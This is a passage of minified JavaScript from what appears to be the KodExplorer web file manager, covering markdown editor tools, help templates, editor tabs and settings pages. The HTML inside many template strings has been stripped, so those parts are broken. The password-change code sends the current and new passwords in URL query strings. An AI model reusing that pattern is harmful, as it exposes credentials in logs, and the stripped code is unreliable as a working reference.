a=e.session.getTextRange(e.getSelectionRange()),n=e.getSelectionRange(),o=e.session.getLine(n.start.row),s={type:"inline",tag:t.inline.tag,insert:t.inline.insert,title:t.title};(n.start.row!=n.end.row||a===o.replace(/(^\s*)|(\s*$)/g,""))&&(s={type:"inline",tag:t.block.tag,insert:t.block.insert,title:t.title}),i(e,s)},s=function(){var e=["bold","italic","strikethrough","|","h1","line","quote","list_order","list_unorder","|","link","image","code","table","math"],i="";return $.each(e,function(e,a){if("|"==a)i+="|";else{var n=t[a],o="class='md-tools md-tools-"+a+" "+(n["class"]?"icon-"+n["class"]:"")+"' ";i+=""}}),i},r=function(e){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){core.fileLink(t,function(i){var a=core.pathThis(t),n="!["+a+"]("+i+")";ace.snippetManager.insertSnippet(e,n)})})},l=function(s){var l=t[s],c=e();if(l&&c){switch(l.type){case"inline":i(c,l,s);break;case"head":a(c,l,s);break;case"insert":n(c,l,s);break;case"inlineBlock":o(c,l,s);break;case"image":r(c);break;default:}e().focus()}},c=function(e){e.find(".md-tools[data-action]").bind("click",function(){var e=$(this).attr("data-action");l(e)})},d=function(e){$.each(t,function(i){var a=t[i];if(a.title&&a.title.match(/\((.*)\)/)){var n=a.title.match(/\((.*)\)/)[1],o=n.replace("Ctrl","Command");e.commands.addCommand({name:i,bindKey:{win:n,mac:o},exec:function(e){"ace/mode/markdown"==e.session.$modeId&&l(i)}})}})};return{bindEvent:function(e,t){e.find(".toolbar .content").html(s()),c(e),"ace/mode/markdown"==t.session.$modeId&&d(t)},doAction:l}}),define("app/src/edit/tpl/markdown_help_cn.html",[],'
        \n
        1.标题与文字格式
        \n

        标题

        \n
        \n# 一级标题\n## 二级标题\n### 三级标题\n#### 四级标题\n##### 五级标题\n
        \n

        文字格式

        \n
        \n*斜体*\n**粗体**\n***粗斜体*** \n~~删除线~~\n
        \n

        水平线

        \n
        \n--- \n
        \n了解更多\n
        \n\n
        \n
        2.列表
        \n

        无序列表

        \n
        \n- item 1\n- item 2\n* item 3\n(可以是[减号,星号,加号]+空格)\n
        \n

        有序列表

        \n
        \n1. item 1 [数字+空格]\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.其他
        \n

        图片

        \n
        \n![图片名称](http://图片网址)\n
        \n\n

        连接

        \n
        \n[链接名称](http://链接网址)\n<http://链接网址>\n
        \n\n

        引用

        \n
        \n> 引用\n> 折行可以不加,新起一行要加\n
        \n\n

        代码

        \n
        \n行内代码:`code`\n```\nvar msg = "多行代码";\nalert(msg);\n```\n
        \n\n

        公式

        \n
        \n行内公式 $$E=mc^2$$ ;\n\n多行公式\n$$E=mc^2$$\n\n多行公式2\n```math\nE=mc^2\n```\n
        \n编辑器\n | 公式教程\n
        \n'),define("app/src/edit/tpl/markdown_help.html",[],'
        \n
        1.Headers and Emphasis
        \n

        Headers

        \n
        \n# Header 1\n## Header 2\n### Header 3\n#### Header 4\n##### Header 5\n
        \n

        Emphasis

        \n
        \n*Emphasis*\n**Strong**\n***Emphasis Strong*** \n~~Strikethrough~~\n
        \n

        Line

        \n
        \n--- \n
        \nLearn More\n
        \n\n
        \n
        2.Lists
        \n

        Unordered list

        \n
        \n- item 1\n- item 2\n* item 3\n(also[- ,* ,+ )\n
        \n

        Ordered list

        \n
        \n1. item 1\n2. item 2\n3. item 3\n   - child 1\n   - child 2\n
        \n
        \n\n
        \n
        3.Others
        \n

        Image

        \n
        \n![Alt text](http://img.png)\n
        \n\n

        Links

        \n
        \n[Link text](http://url)\n<http://url>\n
        \n\n

        Blockquotes

        \n
        \n> Are you \n> ok ?\n
        \n\n

        Code

        \n
        \ninline code:`code`\n```\nvar msg = "Block code";\nalert(msg);\n```\n
        \n\n

        LaTeX Math

        \n
        \ninline $$E=mc^2$$ ;\n\nblock\n$$E=mc^2$$\n\nblock2\n```math\nE=mc^2\n```\n
        \nMath Editor \n
        \n'),define("app/src/edit/tpl/edit_tab_content.html",[],'
        \n
        \n	\n	\n
        \n\n'),define("app/src/edit/taskTap",[],function(){var e=function(){$(".edit_tab .tab").live("mouseenter",function(){$(this).addClass("hover"),$(this).unbind("mousedown").mousedown(function(e){1!=e.which||$(this).hasClass("this")||$.nodeName(e.target,"A")||($(this).removeClass("hover").addClass("this"),Editor.select($(this).attr("uuid")))}).unbind("mouseup").mouseup(function(e){2==e.which&&Editor.remove($(this).attr("uuid"))})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}).die("dblclick").live("dblclick",function(e){stopPP(e)}),$(".edit_tab").die("dblclick").live("dblclick",function(e){Editor.add(),stopPP(e)}),$(".edit_tab .tab .close").live("click",function(){var e=$(this).parent().attr("uuid");Editor.remove(e)})},t=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},i=function(){$("body").click(t).contextmenu(t),$.contextMenu({zIndex:9999,selector:".edit_tab_menu",items:{refresh:{name:LNG.refresh+"F5",className:"refresh_tab",icon:"refresh",accesskey:"e"},sep1:"---------",close:{name:LNG.close,icon:"remove",className:"close_self",accesskey:"d"},close_left:{name:LNG.close_left,icon:"remove-sign",className:"close_left",accesskey:"l"},close_right:{name:LNG.close_right,icon:"remove-sign",className:"close_right",accesskey:"r"},close_others:{name:LNG.close_others,icon:"remove-sign",className:"close_others",accesskey:"o"},sep2:"--------",open_the_path:{name:LNG.open_the_path,icon:"plus",className:"edit_open_the_path",accesskey:"n"},preview:{name:LNG.preview,icon:"globe",className:"edit_preview",accesskey:"p"}},callback:function(e,t){var i=t.$trigger,a=i.attr("uuid");switch(e){case"refresh":Editor.refresh(a);break;case"close":Editor.remove(a);break;case"close_left":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:lt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_right":var n=$(".edit_tab .tabs .tab").index(i);$(".edit_tab .tabs .tab:gt("+n+")").each(function(){Editor.remove($(this).attr("uuid"))});break;case"close_others":$(".edit_tab .tabs .tab").each(function(){var e=$(this).attr("uuid");e!=a&&Editor.remove(e)});break;case"open_the_path":var o=i.attr("title");if(""==o)return Tips.tips(LNG.not_exists,"warning"),void 0;var s=core.pathFather(o),r=ShareData.frameTop();r.core.openPath(s);break;case"preview":Toolbar.doAction("preview");break;default:}}})},a=function(){var e,t,i,a,n=!1,o=!1,s=0,r=0,l=0,c=0,d=0,p=0,u=0,f=0;$(".edit_tab .tab").die("mousedown").live("mousedown",function(t){$.nodeName(t.target,"A")||(e=$.nodeName(t.target,"SPAN")?$(t.target).parent():$(this),1==t.which&&(n=!0,this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(e){v(e),this.releaseCapture&&this.releaseCapture()})))});var h=function(a){o=!0,s=a.pageX,l=a.pageY,$tab_parent=$(".edit_tab"),t=$(".edit_tab .tab"),$(".draggable-dragging").remove(),i=e.clone().addClass("draggable-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),r=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width")),c=$sizeInt(t.css("height"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),h=a.clientX-s+r;$("body").prepend("
        "),i.css({width:d+"px",top:n,left:h}),e.css("opacity",0)},m=function(a){if(n){0==o&&h(a);var u=a.clientX-s+r,f=a.clientY-l+c;i.css({left:u,top:f}),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(u>t&&t+d/2+p>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"left")}if(u>t-d/2+p&&t>u){if(e.attr("uuid")==$(this).attr("uuid"))return;_($(this).attr("uuid"),"right")}})}},_=function(i,n){if(!e.is(":animated")||a!=i){a=i,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".edit_tab .tab");var o=e.width(),s=$(".edit_tab .tab_"+i),r=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(s).css("width","0px"):(e.before(s).css("width","0px"),s.before(r)),e.animate({width:o+"px"},animate_time),r.animate({width:"0px"},animate_time,function(){$(this).remove(),t=$(".edit_tab .tab")})}},v=function(){if(n=!1,o=!1,startTime=0,$(".dragMaskView").remove(),Editor.current()&&Editor.current().focus(),void 0!=i){var t=e.get(0).getBoundingClientRect().left,a=e.get(0).getBoundingClientRect().top;i.animate({left:t+"px",top:a+"px"},animate_time,function(){e.css("opacity",1),$(this).remove()})}}},n=function(e,t,i){"remove"==e&&t.removeClass("edit_tab_menu");var a=1.4*animate_time,n=150,o=n,s=$(".edit_tab .tab.edit_tab_menu"),r=$sizeInt($(".edit_tab .tabs").width()),l=$sizeInt(s.css("margin-right"))+$sizeInt(s.css("border-right")),c=$sizeInt($(".edit_tab .add").css("width"))+30,d=s.length,p=Math.floor((r-c)/(n+l));switch(d>p&&(o=Math.floor((r-c)/d)-l),e){case"add":$(".edit_tab .tabs .this").css({"margin-top":"30px",width:o}).stop(1,1).animate({"margin-top":"0px"},a),s.animate({width:o+"px"},a);break;case"remove":void 0!=i&&Editor.select(i),t.stop(1,1).animate({width:"0","margin-top":"+=30"},a,function(){t.remove()}),s.stop(1,1).animate({width:o+"px"},a);break;case"resize":s.css("width",o+"px");break;default:}};return{rightMenu:{hidden:t},resetWidth:n,init:function(){e(),a(),i()}}}),define("app/src/edit/toolbar",[],function(){var e=function(){i(),$(".toolMenu").bind("click mouseup",stopPP),$(".toolMenu").on("mousedown",function(){$(".toolMenu").removeClass("select"),$(this).addClass("select"),$(this).contextMenu({action:e})});var e=function(e,t){if(t.parent().hasClass("top_toolbar"))e.css({left:t.offset().left-4,top:t.outerHeight()-1});else if(t.parent().hasClass("bottom_toolbar")){var i=t.offset().left-e.outerWidth()+t.outerWidth()-5;e.css({left:i,top:t.offset().top-e.outerHeight()})}e.find("input").length>=1&&setTimeout(function(){e.find("input").focus()},10)};$.contextMenu({selector:".menuViewGotoline",trigger:"none",callback:n,items:{gotoline:{name:LNG.goto,className:"disable gotoline_input",type:"text"}}}),$.contextMenu({selector:".menuViewTab",trigger:"none",callback:n,items:{soft_tab:{name:"Soft Tabs (spaces)",className:"soft_tab"},sep1:"---------",tab_size_2:{name:"Tab with:2",className:"tab_size_set tab_size_2"},tab_size_3:{name:"Tab with:3",className:"tab_size_set tab_size_3"},tab_size_4:{name:"Tab with:4",className:"tab_size_set tab_size_4"},tab_size_8:{name:"Tab with:8",className:"tab_size_set tab_size_8"},sep2:"---------",convert_to_space:{name:"Convert To Space",className:"convert_to_space"},convert_to_tab:{name:"Convert To Tabs",className:"convert_to_tab"}}});for(var t=G.code_font_all.split(","),a={},s=0;t.length>s;s++){var r=t[s],l=replaceAll(r," ","_");a["set_font_family_"+r]={name:r,className:"set_font_family_"+l}}$.contextMenu({selector:".menuViewSetting",trigger:"none",callback:n,items:{tools:{name:LNG.tools,icon:"ellipsis-horizontal",accesskey:"m",items:{preview:{name:LNG.preview+"Ctrl+Shift+S",icon:"edit"},open_ie:{name:LNG.open_ie,icon:"external-link",accesskey:"b"},sep1:"---------",beautify_html:{name:"html "+LNG.beautify_code,icon:"angle-right"},beautify_css:{name:"css "+LNG.beautify_code,icon:"angle-right"},beautify_js:{name:"js "+LNG.beautify_code,icon:"angle-right"},sep10:"---------",beautify_php:{name:"php "+LNG.beautify_code,icon:"angle-right"}}},sep1:"---------",function_list:{name:LNG.function_list+"Ctrl+Shift+E",className:"function_list"},show_gutter:{name:LNG.show_gutter,className:"show_gutter"},auto_wrap:{name:LNG.wordwrap,className:"auto_wrap"},display_char:{name:LNG.char_all_display,className:"display_char"},sep2:"---------",font_family:{name:LNG.font_family,icon:"italic",className:"code_font_family_list",accesskey:"m",items:a},ace_mode:{name:LNG.keyboard_type,icon:"code",accesskey:"m",items:{keyboard_type_ace:{name:"Default",className:"keyboard_type_ace"},keyboard_type_vim:{name:"vim",className:"keyboard_type_vim"},keyboard_type_emacs:{name:"emacs",className:"keyboard_type_emacs"}}},sep3:"---------",help:{name:LNG.help,icon:"question",items:{shortcut:{name:LNG.shortcut,icon:"keyboard"},about:{name:LNG.about,icon:"info-sign"},emmet:{name:"Emmet help",icon:"code"},sep4:"-----------",learnMore:{name:LNG.learn_more,icon:"external-link"}}}}}),$(".tools [action]").bind("click",function(e){var t=$(this).attr("action");return n(t),Editor.current()&&Editor.current().focus(),stopPP(e),!1}),$(".tab_size_set").click(function(){var e=$(this).text().split(":");Editor.saveConfig("tab_size",e[1]),Editor.current()&&Editor.current().focus(),Editor.current().execCommand("convertIndent","reset_size")}),$("ul.code_font_family_list .context-menu-item").click(function(){Editor.saveConfig("font_family",$(this).find("span").html(),""),Editor.current()&&Editor.current().focus(),o()}),$("body").click(function(e){try{$(".toolMenu").removeClass("select"),window.parent.rightMenu.hidden(),e&&$(e.target).is("textarea")||$(e.target).is("input")||0!=$(e.target).parents(".right_main").length||Editor.current()&&Editor.current().focus()}catch(e){}}),$(".gotoline_input input").keyup(function(){Editor.current().gotoLine($(this).val())})},t=function(){var e=Editor.aceModeList.modes,t='
        "+""+""+"";for(var a in e)i+=""+" "+" "+" "+"";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r=""+" "+" "+" "+"";$(r).insertAfter("table#list tr:last")}},a=function(){var e=""+"";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n=""+"";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="
        "+o.html()+"
        ",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'
        \n
        {{#data}}
        \n
        \n'),define("app/src/setting/page/fav.html",[],'
        \n
        "+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+LNG.action+"
        "+" "+" "+"
        "+" "+" "+"
        "+" "+"
        \n {{LNG.button_add}}\n
    \n'),define("app/src/setting/page/help.html",[],'
    \n
    {{#data}}
    \n
    \n'),define("app/src/setting/page/member.html",[],'
    \n
    \n
    \n
    {{LNG.system_group_edit}}
    \n
    {{LNG.system_group_role}}
    \n
    \n
    \n
    \n
    \n
    \n\n
    \n
    \n
      \n
      \n
      \n
      \n \n\n
      \n
      \n
      \n --\n id:\n \n\n \n \n 111/1.5\n
      \n
      \n
      \n
      \n
      \n \n\n \n \n
      \n
      \n\n\n'),define("app/src/setting/page/system.html",[],'\n\n{{if G.is_root}}\n
      \n {{if core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
      \n{{/if}}\n\n\n
      \n
      \n
      \n
      {{LNG.system_name}}:
      \n
      \n {{LNG.system_name_desc}}\n \n
      \n
      \n\n
      \n
      {{LNG.system_desc}}:
      \n
      \n {{LNG.system_desc}}\n
      \n
      \n
      \n
      {{LNG.path_hidden}}:
      \n
      \n {{LNG.path_hidden_desc}}\n
      \n
      \n
      \n
      {{LNG.new_user_folder}}:
      \n
      \n {{LNG.new_user_folder_desc}}\n
      \n
      \n
      \n
      {{LNG.new_user_app}}:
      \n
      \n {{LNG.new_user_app_desc}}\n
      \n
      \n
      \n
      {{LNG.auto_login}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.need_check_code}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.first_in}}:
      \n
      \n \n \n \n
      \n
      \n\n \n
      \n
      \n \n
      \n
      \n
      \n
      \n\n\n\n\n\n{{if info}}\n\n{{/if}}\n'),define("app/src/setting/page/theme.html",[],'
      \n
      \n {{each data.setting_all.themeall.split(\',\') as value key}}\n
      \n
      \n
      {{#LNG[\'theme_\'+value]}}
      \n
      \n {{/each}}\n
      \n
      \n
      \n\n{{if config = G.user_config.theme_diy}}{{/if}}\n
      \n

      {{LNG.theme_diy_title}}

      \n
      \n
      \n
      {{LNG.theme_diy_background}}:
      \n
      \n \n \n
      \n
      \n\n
      \n
      \n
      {{LNG.theme_diy_image_blur}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_image_url}}:
      \n
      \n \n \n \n
      \n
      \n
      \n\n
      \n
      \n
      {{LNG.theme_diy_color_start}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_color_end}}:
      \n
      \n \n
      \n
      \n
      \n
      {{LNG.theme_diy_color_radius}}:
      \n
      \n \n
      \n
      \n\n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n\n \n
      \n
      \n
      \n \n
      \n
      \n\n
      \n
      \n'),define("app/src/setting/page/user.html",[],'\n\n
      \n
      \n
      \n
      {{LNG.recycle_open_if}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.setting_user_animate_open}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.setting_user_sound_open}}:
      \n
      \n \n
      \n
      \n\n
      \n
      {{LNG.upload_exist}}:
      \n
      \n \n \n \n
      \n
      \n
      \n
      \n
      \n\n\n\n'),define("app/src/setting/page/wall.html",[],'
      \n
      \n {{each data.setting_all.wallall.split(\',\') as value key}}\n
      \n
      \n
      \n {{/each}}\n
      \n
      \n
      \n\n\n
      \n

      {{LNG.setting_wall_diy}}

      \n
      \n
      \n
      URL:
      \n
      \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
      \n
      \n\n \n
      \n
      \n
      \n \n
      \n
      \n
      \n
      \n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") -}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row input").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),i(e)}),t(),$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info",{title:"php_info",width:"70%",height:"65%",resize:!0})}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}})},t=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),i({menu:e})})},i=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=function(){o("system_group"),s(),a.init(),i.init()},o=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},s=function(){$(".left_header .tab").die("click").live("click",function(){var e=$(this).attr("id");o(e)})},r=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},l=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:n,sizeUse:r,openPath:l,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){""==a&&(a=i),i=a;var 